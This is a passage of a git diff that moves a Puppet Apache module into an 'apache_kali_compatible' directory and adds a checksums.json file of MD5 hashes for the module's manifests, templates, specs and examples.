b/modules/services/unix/http/apache_kali_compatible/apache/apache.pp similarity index 100% rename from modules/services/unix/http/apache/apache.pp rename to modules/services/unix/http/apache_kali_compatible/apache/apache.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/checksums.json b/modules/services/unix/http/apache_kali_compatible/apache/checksums.json new file mode 100644 index 000000000..c52d59c2a --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/checksums.json @@ -0,0 +1,346 @@ +{ + "CHANGELOG.md": "d5da65931d19f0aabf13a428dc56bc0c", + "CONTRIBUTING.md": "77d0440d7cd4206497f99065c60bed46", + "Gemfile": "bedf635025b279d7c7732adcc8ae9a29", + "LICENSE": "3b83ef96387f14655fc854ddc3c6bd57", + "MAINTAINERS.md": "6508b1d302b38186425992a66186c060", + "NOTICE": "b7760cf49f58b80b31df83244cc0fbd0", + "README.md": "b9a192cdc9ddecd060bc011a76df4b81", + "Rakefile": "a49b6653243c678ed33c8870db467d89", + "examples/apache.pp": "41e97262421ea5734fac16a338701a78", + "examples/dev.pp": "8da0d50d9d06834dd06329b8945f06d5", + "examples/init.pp": "d27415f33028c26d4031d30305eec5e0", + "examples/mod_load_params.pp": "e8d1c1b1b96d560c8288c51a76bffc87", + "examples/mods.pp": "78a25c9e226265353eabefd3ddfd4218", + "examples/mods_custom.pp": "bc9e6959c282984cf9cdd93869c89499", + "examples/php.pp": "afa0871b94040e3ae91fce9c375fb725", + "examples/vhost.pp": "27d808964b43d157de5ce8f47b441b46", + "examples/vhost_directories.pp": "95aa446a2fccf9f3561581a5d71c61a7", + "examples/vhost_filter.pp": "62c5af7868af9887b7d71769c319c1e5", + "examples/vhost_ip_based.pp": "7a4d4c1c00147c45e4534f58d2fbf4ed", + "examples/vhost_proxypass.pp": "2f0bd33b34a48554adcdf20d6d31a4c2", + "examples/vhost_ssl.pp": "ddd3c45964df56837d6c051a7d692378", + "examples/vhosts_without_listen.pp": "226afb3e87129a56fc9add21b120feb2", + "files/httpd": "295f5e924afe6f752d29327e73fe6d0a", + "lib/facter/apache_version.rb": "babb22b1d567021995b4b5fa9328047b", + "lib/puppet/parser/functions/bool2httpd.rb": "05d5deeb6e0c31acee7c55b249ec8e06", + "lib/puppet/parser/functions/validate_apache_log_level.rb": "d75bc4ef17ff5c9a1f94dd3948e733d1", + "lib/puppet/provider/a2mod/a2mod.rb": "d986d8e8373f3f31c97359381c180628", + "lib/puppet/provider/a2mod/gentoo.rb": "2492d446adbb68f678e86a75eb7ff3bd", + "lib/puppet/provider/a2mod/modfix.rb": "b689a1c83c9ccd8590399c67f3e588e5", + "lib/puppet/provider/a2mod/redhat.rb": "c39b80e75e7d0666def31c2a6cdedb0b", + "lib/puppet/provider/a2mod.rb": "03ed73d680787dd126ea37a03be0b236", + "lib/puppet/type/a2mod.rb": "9042ccc045bfeecca28bebb834114f05", + "locales/config.yaml": "ca04e502d031649d4aaa40d1803ade8b", + "locales/puppetlabs-apache.pot": "4bd09a821333cf6c272a64e944ef4e01", + "manifests/balancer.pp": "b444ff1415ba0bd6c8ec1497bcc9cfb3", + "manifests/balancermember.pp": "d74ab23d74fa198853b13ad837df925c", + "manifests/confd/no_accf.pp": "406d0ca41c3b90f83740ca218dc3f484", + "manifests/custom_config.pp": "357badc11586c8bb726f2a36364c0932", + "manifests/default_confd_files.pp": "86fdbe5773abb7c2da26db096973865c", + "manifests/default_mods/load.pp": "bc0b3b65edd1ba6178c09672352f9bce", + "manifests/default_mods.pp": "e4a7aa787443fce2e76c37e8fec99012", + "manifests/dev.pp": "8a7ead42f991e5dfdd364ba1aa1304e0", + "manifests/fastcgi/server.pp": "f177293f02a2878b43a863e8ab3015db", + "manifests/init.pp": "5d0b9eccf800e4c0b293bed68571c4ec", + "manifests/listen.pp": "6e44a9f49376cefb5694d52be5bc5a88", + "manifests/mod/actions.pp": "ec2a5d1cf54790204750f9b67938d230", + "manifests/mod/alias.pp": "1ef0d98a941bd796d428297b74acc8c4", + "manifests/mod/auth_basic.pp": "dffef6ff10145393cb78fcaa27220c53", + "manifests/mod/auth_cas.pp": "f2e61e67393a998a19f8b34506e07e0d", + "manifests/mod/auth_kerb.pp": "8759cab3dc12d6ba4cc12fcdbb699418", + "manifests/mod/auth_mellon.pp": "5bfbc604dd79923bdb65ecab02353059", + "manifests/mod/authn_core.pp": "4db773ddbc0d875230085782d4521951", + "manifests/mod/authn_dbd.pp": "8f03863a483184ca53b9bc3a45b2297f", + "manifests/mod/authn_file.pp": "eeb11513490beee901574746faaeabdf", + "manifests/mod/authnz_ldap.pp": "5fb4b52f54daf03358e08cde676ea4fc", + "manifests/mod/authnz_pam.pp": "9f99d93e289a2db42c74046c8ae1889f", + "manifests/mod/authz_default.pp": "b7c94cfa4e008155fffd241d35834064", + "manifests/mod/authz_user.pp": "d446c90c44304594206bd2a0112be625", + "manifests/mod/autoindex.pp": "3b50dc082dba420c3d564309601fd419", + "manifests/mod/cache.pp": "b56d68b9401ba3e02a1f2fe55cdfbcca", + "manifests/mod/cgi.pp": "731ed7bce75628afeb78afd3fa2fd793", + "manifests/mod/cgid.pp": "fb9ae9b5012d41e22cb85c0b50e17361", + "manifests/mod/cluster.pp": "8b67026e9a6a4bdc6a2481613896ded1", + "manifests/mod/dav.pp": "9df80d36dd609be9032a8260aa9d10c1", + "manifests/mod/dav_fs.pp": "9ad2359d64b0b6f219bd8a338917d114", + "manifests/mod/dav_svn.pp": "abc1ba954033b0b0187c079f310eb0e2", + "manifests/mod/dbd.pp": "4471dbd9fd67d0db885d4ba2a47a194a", + "manifests/mod/deflate.pp": "20231a22aba12eb905f1d7f1853e383e", + "manifests/mod/dev.pp": "42673bab60b6fc0f3aa6e2357ec0a27c", + "manifests/mod/dir.pp": "75039bc8c77b9b82fa12fc5aa1061291", + "manifests/mod/disk_cache.pp": "da18cbefced9bb32fc009e999c5b76e2", + "manifests/mod/dumpio.pp": "5492a7249450a7fdf335ecb0c3b948f4", + "manifests/mod/env.pp": "2a0321180a59161565b2b5f1b79d6b15", + "manifests/mod/event.pp": "a82a7ab979cc351eb660576bdc91d0e8", + "manifests/mod/expires.pp": "6f12edcf6863958af832db73b56e5f08", + "manifests/mod/ext_filter.pp": "287966c2c0fd450c72a1c9ef88a0e155", + "manifests/mod/fastcgi.pp": "96a3fcf0508a7eb8c9601eac329622eb", + "manifests/mod/fcgid.pp": "96e0a5f09c2d1ba21b2209a6e21b6847", + "manifests/mod/filter.pp": "b0039f3ae932b1204994ef2180dd76d2", + "manifests/mod/geoip.pp": "41762c637ab45dac05e564d1b3d03c3e", + "manifests/mod/headers.pp": "ef3de538a0a4c9406236faf43eb89710", + "manifests/mod/include.pp": "a3b66eda88e38d90825c16b834bacd8d", + "manifests/mod/info.pp": "c3e815ed9912bb9147805f7274508489", + "manifests/mod/intercept_form_submit.pp": "b3e55433272082bac1e7a5334df3b01f", + "manifests/mod/itk.pp": "f631157ebdff68b6fc2bb6dbd5b8e8c4", + "manifests/mod/ldap.pp": "319e62a24e30221e691b9cf85a6288e1", + "manifests/mod/lookup_identity.pp": "a3fd01d395ea09ec1488494fd077dd7b", + "manifests/mod/mime.pp": "24fe99c65367a3f606441605a2ff26dd", + "manifests/mod/mime_magic.pp": "d31702cee9007c2e65c8d3ccbed1fda3", + "manifests/mod/negotiation.pp": "35fb1e9fa643054271804e215bb47299", + "manifests/mod/nss.pp": "3cc69b59bba579181b0ceb1dfd2976d0", + "manifests/mod/pagespeed.pp": "1fcf4c30084bd1e4fa3006b4d3265c1a", + "manifests/mod/passenger.pp": "f1a4609f61e30fc839ad7f4b668a750b", + "manifests/mod/perl.pp": "b8180ca0e1e7f8d60030321f52c28d6d", + "manifests/mod/peruser.pp": "13761222709094653bca7bad4435fcdb", + "manifests/mod/php.pp": "b6d383242b3c52a2543f8f477ff308a0", + "manifests/mod/prefork.pp": "3deff89f43a1f55dda643ac66e3fc4dc", + "manifests/mod/proxy.pp": "a65065f0c7705b7b75b1dd6fc2222e27", + "manifests/mod/proxy_ajp.pp": "073e2406aea7822750d4c21f02d8ac80", + "manifests/mod/proxy_balancer.pp": "c717e51517043084854b26c89d7b99d9", + "manifests/mod/proxy_connect.pp": "7cd9b4b61ec6feb020f753ee74910a48", + "manifests/mod/proxy_fcgi.pp": "8c7fd559419b159e27218a17463d850d", + "manifests/mod/proxy_html.pp": "aa012e927e20d3f7734fdc026491fd20", + "manifests/mod/proxy_http.pp": "0db1b26f8b4036b0d46ba86b7eaac561", + "manifests/mod/proxy_wstunnel.pp": "88ee88d6d56a70f0000e690f80f64acb", + "manifests/mod/python.pp": "6f65b22271cf356832fe7a1949163861", + "manifests/mod/remoteip.pp": "9ad1d5712477f11ae2643f209bb08ce3", + "manifests/mod/reqtimeout.pp": "17b245b5d14f3f7b8c1d5fa07e5c159e", + "manifests/mod/rewrite.pp": "292f2d6ce2078fa9df7f686105ea7b95", + "manifests/mod/rpaf.pp": "54991f51a06e2b4171956e6ce1caf3a3", + "manifests/mod/security.pp": "b5ed320cbcce30b79557dd38941d339b", + "manifests/mod/setenvif.pp": "fa3b3e5f3a7e029f9db5b66ae499c6c8", + "manifests/mod/shib.pp": "8b75f8818fe9dc5728a478fc27962447", + "manifests/mod/socache_shmcb.pp": "c94ae23ab8cce744acad2f7e33dbfa9c", + "manifests/mod/speling.pp": "b6971e10caf22837e410b94910b66b1a", + "manifests/mod/ssl.pp": "ed4255fa17a174ce02fd8eef399c0ae1", + "manifests/mod/status.pp": "75d19ef4dde3529359d080c6607926f0", + "manifests/mod/suexec.pp": "2a8671856a0ece597e9b57867dc35e76", + "manifests/mod/suphp.pp": "5a7390ef0a0ceaa2d7e684bcb6300587", + "manifests/mod/userdir.pp": "8cce2ae6536eab6b809c63cb6ed59c55", + "manifests/mod/version.pp": "6cb31057ebffa796f95642cc95f9499d", + "manifests/mod/vhost_alias.pp": "ee1225a748daaf50aca39a6d93fb8470", + "manifests/mod/worker.pp": "41137580c48b89f2795c1295d87962c0", + "manifests/mod/wsgi.pp": "adcaac9e490512a58d0e6070904c85d2", + "manifests/mod/xsendfile.pp": "fba06f05a19c466654aca5ecaa705bf0", + "manifests/mod.pp": "405f340daea9c50913904818ca4041d7", + "manifests/mpm.pp": "d4bfe77df34110cb253557104b2e6310", + "manifests/namevirtualhost.pp": "5ad54a441ff26a55cc536069d8fad238", + "manifests/package.pp": "ebd1e1e815ef744ebd4e9d8a6c94a07a", + "manifests/params.pp": "605e33b78b4eb131ac9e9bad335ce88f", + "manifests/peruser/multiplexer.pp": "0ea75341b7a93e55bcfb431a93b1a6c9", + "manifests/peruser/processor.pp": "62f0ad5ed2ec36dadc7f40ad2a9e1bb9", + "manifests/php.pp": "9c9d07e12bf5d112b0b54f5bd69046fc", + "manifests/proxy.pp": "7c8515b88406922e148322ee15044b29", + "manifests/python.pp": "ddef4cd73850fdc2dc126d4579c30adf", + "manifests/security/rule_link.pp": "9c879ecfd7534347ccc8cf3ea77fa859", + "manifests/service.pp": "9984fd2cfd49cea0b8db61f7cc3c1c4b", + "manifests/ssl.pp": "173f3d6a7fd2b5f4100c4ff03d84e13b", + "manifests/version.pp": "3388b1978b04cba63ed7fc8e2ec3f692", + "manifests/vhost/custom.pp": "421081f6c4f33e1aca07ff789e53345e", + "manifests/vhost.pp": "707b86ad96804fed2413ef6366ac43b4", + "manifests/vhosts.pp": "d5cd9e6b701b7b2948c011546bc55497", + "metadata.json": "f9025597336b7ffb8631e1c5949985ae", + "spec/acceptance/apache_parameters_spec.rb": "d8d8f53c76a65558f189a33ef063976a", + "spec/acceptance/apache_ssl_spec.rb": "9cddf1b1b3a4ed2fe971fabe8785e9ed", + "spec/acceptance/class_spec.rb": "9d77ee23b734dd48ecea4353dee3d616", + "spec/acceptance/custom_config_spec.rb": "61e03d814d0671d194dd40e6b1ad5c9b", + "spec/acceptance/default_mods_spec.rb": "2481bfa99dd34e15f2b4c7eed194635f", + "spec/acceptance/itk_spec.rb": "812c855013c08ebb13e642dc5199b41a", + "spec/acceptance/mod_dav_svn_spec.rb": "e792a6d585026dd7bded38e62c8786f6", + "spec/acceptance/mod_deflate_spec.rb": "dd39bfb069e0233bf134caaeb1dc6fe6", + "spec/acceptance/mod_fcgid_spec.rb": "ef0e3368ea14247c05ff43217b5856ee", + "spec/acceptance/mod_mime_spec.rb": "0869792d98c1b2577f02d97c92f1765e", + "spec/acceptance/mod_negotiation_spec.rb": "017f6b0cc1496c25aa9b8a33ef8dbbb3", + "spec/acceptance/mod_pagespeed_spec.rb": "23256a41b700fc92a96edf34a16be499", + "spec/acceptance/mod_passenger_spec.rb": "a66264ef73ad6c5396a06ab9b5444c7c", + "spec/acceptance/mod_php_spec.rb": "98bc1ff97a36de86d5a1b800b2afd7a6", + "spec/acceptance/mod_proxy_html_spec.rb": "34478fc2f12a23cd5a95d424f85da150", + "spec/acceptance/mod_security_spec.rb": "c783d44cf3ccba2fa6a3c14de0e486a0", + "spec/acceptance/mod_suphp_spec.rb": "f5c1f21e4c5323b81afc354c82e7ceb9", + "spec/acceptance/nodesets/centos-7-x64.yml": "a713f3abd3657f0ae2878829badd23cd", + "spec/acceptance/nodesets/debian-8-x64.yml": "d2d2977900989f30086ad251a14a1f39", + "spec/acceptance/nodesets/default.yml": "b42da5a1ea0c964567ba7495574b8808", + "spec/acceptance/nodesets/docker/centos-7.yml": "8a3892807bdd62306ae4774f41ba11ae", + "spec/acceptance/nodesets/docker/debian-8.yml": "ac8e871d1068c96de5e85a89daaec6df", + "spec/acceptance/nodesets/docker/ubuntu-14.04.yml": "dc42ee922a96908d85b8f0f08203ce58", + "spec/acceptance/nodesets/suse.yml": "eff62186e4de2ffed45a72a375380338", + "spec/acceptance/prefork_worker_spec.rb": "1570eefe61d667a1b43824adc0b2bb78", + "spec/acceptance/service_spec.rb": "341f157cb33fa48d5166d2274ad3bc65", + "spec/acceptance/version.rb": "6a1f2db3e369f3dc2b5bd76f4921891a", + "spec/acceptance/vhost_spec.rb": "ac0e99a6dfbe8faa2837bf2356fdda7d", + "spec/acceptance/vhosts_spec.rb": "c9635037681d569a053da6eb7ae5f4f4", + "spec/classes/apache_spec.rb": "c75f9bf2fedf99c4d478536d3786223c", + "spec/classes/dev_spec.rb": "6bc9ff7cffb77aac52c5bd3acc157d2d", + "spec/classes/mod/alias_spec.rb": "e62706d9925b0dc1821db78d01986a7e", + "spec/classes/mod/auth_cas_spec.rb": "46a7ba3fe31d3fc6175b8dce5105326e", + "spec/classes/mod/auth_kerb_spec.rb": "d281ff13b8989d759bd7fcdb599a882a", + "spec/classes/mod/auth_mellon_spec.rb": "81d3ea4b7567718ca810b625fd36d231", + "spec/classes/mod/authn_dbd_spec.rb": "8c794faaa5244e16f432c76679cb12d7", + "spec/classes/mod/authnz_ldap_spec.rb": "bef6980f85489c5fd7388511cb65b644", + "spec/classes/mod/authnz_pam_spec.rb": "71759e9ab2dd8aeefeb4d79e3349e67e", + "spec/classes/mod/cluster_spec.rb": "c1d01cc4a4f9ce10d692294019791e2f", + "spec/classes/mod/dav_svn_spec.rb": "6b3c4123a067e249f6c78c5b0cbcbcc7", + "spec/classes/mod/deflate_spec.rb": "adf6e41357fefe4ff1128e8fea4d3057", + "spec/classes/mod/dev_spec.rb": "1a30ef5fb18073fd2bf6f7923ff9c57f", + "spec/classes/mod/dir_spec.rb": "9e25507c094cb3b2fe6eb1106668b484", + "spec/classes/mod/disk_cache_spec.rb": "e821fa50ace7ab3398c43b16034748e9", + "spec/classes/mod/dumpio_spec.rb": "689d167b05e669c29709fc36940e7b05", + "spec/classes/mod/event_spec.rb": "46a304c796ac3928be0a67bec1f46b4f", + "spec/classes/mod/expires_spec.rb": "0d27e3438627f2ad34abacf582fb8b0b", + "spec/classes/mod/ext_filter_spec.rb": "7af18fdf1376f17e68dc99e5627ba067", + "spec/classes/mod/fastcgi_spec.rb": "59f7ea857b0fa614e8808270c529300f", + "spec/classes/mod/fcgid_spec.rb": "bda06cc347a8da8d7c7374add2654248", + "spec/classes/mod/info_spec.rb": "d51c6a9e6ae4d944488a43c8c15b95c0", + "spec/classes/mod/intercept_form_submit_spec.rb": "2e7087360a57f6ccf88b80239ca5056e", + "spec/classes/mod/itk_spec.rb": "622f23a1346383846cbc98e38388034d", + "spec/classes/mod/ldap_spec.rb": "12863d495558fbe9f6cb7a50ab37688c", + "spec/classes/mod/lookup_identity.rb": "97997c0a2e7a1b717426b5845df604ee", + "spec/classes/mod/mime_magic_spec.rb": "259304a80e92e4ba15e7cd719fe25c17", + "spec/classes/mod/mime_spec.rb": "d946fb96659b67bf7117ad7ed4b25cce", + "spec/classes/mod/negotiation_spec.rb": "44d50f7e6ef8c6388baa4c7cfc07be43", + "spec/classes/mod/pagespeed_spec.rb": "56bd7d82920cb734ea8139c9fed97de7", + "spec/classes/mod/passenger_spec.rb": "e8daaeafddd8b8ac33800c04a93b5c03", + "spec/classes/mod/perl_spec.rb": "1daa227f563ac19ff8dcdea0d0005ec4", + "spec/classes/mod/peruser_spec.rb": "c379ce85a997789856b12c27957bf994", + "spec/classes/mod/php_spec.rb": "2cc1a1d5d097be26eef3139b4e8eafaf", + "spec/classes/mod/prefork_spec.rb": "d82f0f25691ba019b912cd000dbb845f", + "spec/classes/mod/proxy_balancer_spec.rb": "c0bd0c3ebf39d7c66120b3837551f6b1", + "spec/classes/mod/proxy_connect_spec.rb": "baef920356c839b698c2adb865e79b5f", + "spec/classes/mod/proxy_html_spec.rb": "c6fc0e6b0cbcd3d5f9e65d533366ee32", + "spec/classes/mod/proxy_wstunnel.rb": "69bcef5e88aeb115290d8428186c80ec", + "spec/classes/mod/python_spec.rb": "5ca2dd0829b7baa1022c551b66548b20", + "spec/classes/mod/remoteip_spec.rb": "f9bf0bc64fef6d570f7b798ceef0d598", + "spec/classes/mod/reqtimeout_spec.rb": "2af2919e8253100fbc2e001d30a5cd15", + "spec/classes/mod/rpaf_spec.rb": "5c4725a4bcab9339d7309765390aaed1", + "spec/classes/mod/security_spec.rb": "f2e41f16ff5e8aa8f4709cab68a7cf5e", + "spec/classes/mod/shib_spec.rb": "b4ec345e387f8d7186048f5d286bb71d", + "spec/classes/mod/speling_spec.rb": "96919b9fbd1e894fcfd649044c3dafb5", + "spec/classes/mod/ssl_spec.rb": "9c9fe05b815405d4e7fbb095e01d7d2a", + "spec/classes/mod/status_spec.rb": "1eeaf906baf6ca82bf24c4e23494c71c", + "spec/classes/mod/suphp_spec.rb": "cc7c02c42e985aa133f9d868e14d9435", + "spec/classes/mod/userdir_spec.rb": "648ab42ba4113b31712ecf8d9ec485e0", + "spec/classes/mod/worker_spec.rb": "c326e36fbcfe9f0c59dc1db389a33926", + "spec/classes/mod/wsgi_spec.rb": "902251d74d6d3c821f460b620158295b", + "spec/classes/params_spec.rb": "adbd9f0dee677ea9439b9ce0d620894f", + "spec/classes/service_spec.rb": "0709833b94c1a3fbd13b73042fa84967", + "spec/classes/vhosts_spec.rb": "9baf23eb534e944a1bd593e72dd3050e", + "spec/defines/balancer_spec.rb": "8793815eb22b5190977b154fcd97e85e", + "spec/defines/balancermember_spec.rb": "e93ded8b51cc1d73e52f453880b3576e", + "spec/defines/custom_config_spec.rb": "cd4ee6803b79a844442107ac385cc833", + "spec/defines/fastcgi_server_spec.rb": "8e167c1525cb9a7473efdde01efe0ca3", + "spec/defines/mod_spec.rb": "a10e5b2570419737c03cd0f6347cc985", + "spec/defines/modsec_link_spec.rb": "3421b21f8234637dd1c32ebcf89e44c3", + "spec/defines/vhost_custom_spec.rb": "d5596a7a0c239d4c0ed8bebbb6a124ab", + "spec/defines/vhost_spec.rb": "b338a9fe8d5bd1f2002025905c2c4a74", + "spec/fixtures/files/negotiation.conf": "9c11872e26327ec880749b5dfdea25d6", + "spec/fixtures/files/spec": "e964ecac35c35baa9b4c57dac4ff5b3e", + "spec/fixtures/site_apache/templates/fake.conf.erb": "6b0431dd0b9a0bf803eb0684300c2cff", + "spec/fixtures/templates/negotiation.conf.erb": "c838e612ce6f82a5efd12871ad562011", + "spec/spec_helper.rb": "b2db3bc02b4ac2fd5142a6621c641b07", + "spec/spec_helper_acceptance.rb": "97b5d5677a368ac97cdc3ae2ab5e204f", + "spec/spec_helper_local.rb": "1b6ccd9b2f6946b81560239881774e94", + "spec/unit/apache_version_spec.rb": "c9d7b8ab46fb21d370702f02088281a2", + "spec/unit/provider/a2mod/gentoo_spec.rb": "02f7510cbf4945c5e1094ebcb967c8e0", + "spec/unit/puppet/parser/functions/bool2httpd_spec.rb": "0c9bca53eb43b5fc888126514b2a174c", + "spec/unit/puppet/parser/functions/validate_apache_log_level.rb": "8f558fd81d1655e9ab20896152eca512", + "templates/confd/no-accf.conf.erb": "a614f28c4b54370e4fa88403dfe93eb0", + "templates/fastcgi/server.erb": "30cdd04393bdb4f68678d00e2930721b", + "templates/httpd.conf.erb": "3667dc46bedcfd2b79f82570b1063623", + "templates/listen.erb": "6286aa08f9e28caee54b1e1ee031b9d6", + "templates/mod/alias.conf.erb": "370e9d394dd462d3ebc0dd345ab68f6f", + "templates/mod/auth_cas.conf.erb": "35e1291a5fa05067d7623c02bafb0ada", + "templates/mod/auth_mellon.conf.erb": "4e17d22a8f1bc312e976e8513199c945", + "templates/mod/authn_dbd.conf.erb": "7a84f5d3b3a4b92a88fe052b13376f8e", + "templates/mod/authnz_ldap.conf.erb": "2262e6d90ae81f2b732bbf0163006c59", + "templates/mod/autoindex.conf.erb": "2421a3c6df32c7e38c2a7a22afdf5728", + "templates/mod/cgid.conf.erb": "f8ce27d60bc495bab16de2696ebb2fd0", + "templates/mod/cluster.conf.erb": "9e92178f1d45193868e41e7fe1a06976", + "templates/mod/dav_fs.conf.erb": "10c1131168e35319e22b3fbfe51aebfd", + "templates/mod/deflate.conf.erb": "e866ecf2bfe8e42ea984267f569723db", + "templates/mod/dir.conf.erb": "2485da78a2506c14bf51dde38dd03360", + "templates/mod/disk_cache.conf.erb": "48d1b54ec1dedea7f68451bc0774790e", + "templates/mod/dumpio.conf.erb": "260a03d5f5b450095a5374690fbb34b2", + "templates/mod/event.conf.erb": "5e4095242d8e5dd99fe0823cfa2f1434", + "templates/mod/expires.conf.erb": "7a77f8b1d50c53ee77a6cb798c51a2b9", + "templates/mod/ext_filter.conf.erb": "4e4e4143ab402a9f9d51301b1a192202", + "templates/mod/fastcgi.conf.erb": "2404caa7d91dea083fc4f8b6f18acd24", + "templates/mod/fcgid.conf.erb": "1780c7808bb3811deaf0007c890df4dc", + "templates/mod/geoip.conf.erb": "93b95f44ec733ee8231be82381e02782", + "templates/mod/info.conf.erb": "c8580f35594e8f76da9c961def618739", + "templates/mod/itk.conf.erb": "eff84b78e4f2f8c5c3a2e9fc4b8aad16", + "templates/mod/ldap.conf.erb": "03ef6f461e4778342e6b94b8b4f3cd3a", + "templates/mod/load.erb": "01132434e6101080c41548b0ba7e57d8", + "templates/mod/mime.conf.erb": "2fa5a10d06ff979de1d5d2544586ab45", + "templates/mod/mime_magic.conf.erb": "067c3180b4216439b039822114144e78", + "templates/mod/mpm_event.conf.erb": "80097a19d063a4f973465d9ef5c0c0bf", + "templates/mod/negotiation.conf.erb": "a2f0fb40cd038cb17bedc2b84d9f48ea", + "templates/mod/nss.conf.erb": "03a7a3721b19706e00df00e457c5df69", + "templates/mod/pagespeed.conf.erb": "d1d8dfb00e528aab10a24518c7f148a6", + "templates/mod/passenger.conf.erb": "81512838f2fb7f01bf7fd674f023d086", + "templates/mod/peruser.conf.erb": "c4f4054aee899249ea6fef5a9e5c14ff", + "templates/mod/php.conf.erb": "c535da6adea16bdcb0586260eedf8c93", + "templates/mod/prefork.conf.erb": "f9ec5a7eaea78a19b04fa69f8acd8a84", + "templates/mod/proxy.conf.erb": "33a6a57edd324ba56e879a7b077ecf08", + "templates/mod/proxy_balancer.conf.erb": "a9f8d51a2a7169e5fd0c8415a3f9c662", + "templates/mod/proxy_html.conf.erb": "1236e21e77bcc077dd71dbef98c911c7", + "templates/mod/remoteip.conf.erb": "ad58e174410e3ff46ff93d4ad1e7b8a0", + "templates/mod/reqtimeout.conf.erb": "314ef068b786ae5afded290a8b6eab15", + "templates/mod/rpaf.conf.erb": "5447539c083ae54f3a9e93c1ac8c988b", + "templates/mod/security.conf.erb": "e309716298ed8709df5496c27d47fe36", + "templates/mod/security_crs.conf.erb": "5c7bc134c0675d75b66a5c8faaf11eb6", + "templates/mod/setenvif.conf.erb": "c7ede4173da1915b7ec088201f030c28", + "templates/mod/ssl.conf.erb": "f88b0d03bbbc9b0773475434a2ef0f93", + "templates/mod/status.conf.erb": "574ecc6f74e8b75d84710a44c4260210", + "templates/mod/suphp.conf.erb": "05bb7b3ea23976b032ce405bfd4edd18", + "templates/mod/userdir.conf.erb": "5d0185dc69bc30849bc1a2f63f652b74", + "templates/mod/worker.conf.erb": "dc4c7049af7312f5e82b3e72e8fccdfd", + "templates/mod/wsgi.conf.erb": "ba2ba5a5699889626f4bc7f5604070b0", + "templates/namevirtualhost.erb": "fbfca19a639e18e6c477e191344ac8ae", + "templates/ports_header.erb": "afe35cb5747574b700ebaa0f0b3a626e", + "templates/vhost/_access_log.erb": "522414033856b19a50a7ebb1c729438a", + "templates/vhost/_action.erb": "a004dfcac2e63cef65cf8aa0e270b636", + "templates/vhost/_additional_includes.erb": "10e9c0056e962c49459839a1576b082e", + "templates/vhost/_aliases.erb": "6412f695e911feac18986da38f290dae", + "templates/vhost/_allow_encoded_slashes.erb": "37dee0b6fe9287342a10b533955dff81", + "templates/vhost/_auth_cas.erb": "96fb19c558e7e187fe9160f00f39061c", + "templates/vhost/_auth_kerb.erb": "3d0de0c3066440dffcbc75215174705b", + "templates/vhost/_block.erb": "8fa2f970222dbc0a38898b5a0ab80411", + "templates/vhost/_charsets.erb": "d152b6a7815e9edc0fe9bf9acbe2f1ec", + "templates/vhost/_custom_fragment.erb": "325ff48cefc06db035daa3491c391a88", + "templates/vhost/_directories.erb": "cb400adc888ef3632e155b700c2117aa", + "templates/vhost/_docroot.erb": "65d882a3c9d6b6bdd2f9b771f378035a", + "templates/vhost/_error_document.erb": "81d3007c1301a5c5f244c082cfee9de2", + "templates/vhost/_fallbackresource.erb": "e6c103bee7f6f76b10f244fc9fd1cd3b", + "templates/vhost/_fastcgi.erb": "e6d743e11b776e155dc4f80c602fb7e1", + "templates/vhost/_file_footer.erb": "e27b2525783e590ca1820f1e2118285d", + "templates/vhost/_file_header.erb": "7c3c04eb4ac67403604113e2628696cf", + "templates/vhost/_filters.erb": "597b9de5ae210af9182a1c95172115e7", + "templates/vhost/_header.erb": "9eb9d4075f288183d8224ddec5b2f126", + "templates/vhost/_http_protocol_options.erb": "9df9dec592fdb8fb4ab4abf7227cef9c", + "templates/vhost/_itk.erb": "8bf90b9855a9277f7a665b10f6c57fe9", + "templates/vhost/_jk_mounts.erb": "ce997ee7b5602af04062cd5f785da345", + "templates/vhost/_keepalive_options.erb": "16876858bac1e55b13545866b0428d90", + "templates/vhost/_logging.erb": "5bc4cbb1bc8a292acc0ba0420f96ca4e", + "templates/vhost/_passenger.erb": "2c720e3c849f81898be5f3822a3f67be", + "templates/vhost/_passenger_base_uris.erb": "c8d7f4da1434078e856c72671942dcd8", + "templates/vhost/_php.erb": "a16a9f3e146ce463481205e083d4bf79", + "templates/vhost/_php_admin.erb": "107a57e9e7b3f86d1abcf743f672a292", + "templates/vhost/_proxy.erb": "18b9bbb791d248179a08eb36ab895e12", + "templates/vhost/_rack.erb": "ebe187c1bdc81eec9c8e0d9026120b18", + "templates/vhost/_redirect.erb": "2d40ece74203cc00b861a058db91962c", + "templates/vhost/_requestheader.erb": "db1b0cdda069ae809b5b83b0871ef991", + "templates/vhost/_require.erb": "932106f2c9ea604bba4ace78d22bdfee", + "templates/vhost/_rewrite.erb": "b7858eac95352744196006b57d4091df", + "templates/vhost/_scriptalias.erb": "98713f33cca15b22c749bd35ea9a7b41", + "templates/vhost/_security.erb": "0ade536a9d25342e7128996add04be56", + "templates/vhost/_serveralias.erb": "95fed45853629924467aefc271d5b396", + "templates/vhost/_serversignature.erb": "9bf5a458783ab459e5043e1cdf671fa7", + "templates/vhost/_setenv.erb": "6e6a7efb1b168da9673c9e6d00eadec5", + "templates/vhost/_ssl.erb": "788b293b65736aead0007fe3bc52448b", + "templates/vhost/_sslproxy.erb": "8ab477ac3aa325e46f07b3fbf188303f", + "templates/vhost/_suexec.erb": "f2b3f9b9ff8fbac4e468e02cd824675a", + "templates/vhost/_suphp.erb": "a1c4a5e4461adbfce870df0abd158b59", + "templates/vhost/_wsgi.erb": "7939532279d7655896ce1a5942116ca7" +} \ No newline at end of file diff --git a/modules/services/unix/http/apache/examples/apache.pp b/modules/services/unix/http/apache_kali_compatible/apache/examples/apache.pp similarity index 100% rename from modules/services/unix/http/apache/examples/apache.pp rename to modules/services/unix/http/apache_kali_compatible/apache/examples/apache.pp diff --git a/modules/services/unix/http/apache/examples/dev.pp b/modules/services/unix/http/apache_kali_compatible/apache/examples/dev.pp similarity index 100% rename from modules/services/unix/http/apache/examples/dev.pp rename to modules/services/unix/http/apache_kali_compatible/apache/examples/dev.pp diff --git a/modules/services/unix/http/apache/examples/init.pp b/modules/services/unix/http/apache_kali_compatible/apache/examples/init.pp similarity index 100% rename from modules/services/unix/http/apache/examples/init.pp rename to modules/services/unix/http/apache_kali_compatible/apache/examples/init.pp diff --git a/modules/services/unix/http/apache/examples/mod_load_params.pp b/modules/services/unix/http/apache_kali_compatible/apache/examples/mod_load_params.pp similarity index 100% rename from modules/services/unix/http/apache/examples/mod_load_params.pp rename to modules/services/unix/http/apache_kali_compatible/apache/examples/mod_load_params.pp diff --git a/modules/services/unix/http/apache/examples/mods.pp 